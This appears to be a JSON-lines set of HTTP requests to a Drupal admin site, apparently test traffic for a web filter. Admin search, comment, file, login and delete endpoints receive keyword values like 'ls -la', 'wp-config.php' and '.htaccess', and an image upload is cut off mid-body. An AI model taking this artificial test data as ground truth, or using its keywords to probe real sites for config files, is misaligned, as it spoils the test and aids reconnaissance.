{"method": "GET", "target": "/admin/content/moderated?title=powershell&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=powershell&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=ls%20-la&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=ls%20-la&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=.htaccess&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=.htaccess&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=wp-config.php&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=wp-config.php&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=hello", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=python3", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=powershell", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=ls%20-la", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=.htaccess", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/moderated?title=docker-compose.yml&moderation_state=All", "headers":["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=&filemime=docker-compose.yml&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/node/2/delete", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2/delete", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-hnGbBTfqMwKkGf8rHG1D2s_--brUB7ERWenxjTAV3LA&form_token=VhXEXVRRiAuV4qccGvDVSnGrooVZfRHrKiG51GM3yms&form_id=node_page_delete_form&op=Delete"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfrontpage%3Alocation%3Dpage%26name%3Dfrontpage%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=gzNq81gUc0srM04Gao-KDKP3JhZ8i_LinPcztlc970A"}
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywImR5Ybat1GIxzuU", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-w_XtjjjeoarI94S-L4lSdIzOHi_x9Kgcm8noqTZQNB8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\nnwY4HfJ_Ywq9D0w8idDat-HyUFFrbgnBlO-ktsMr2r8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; 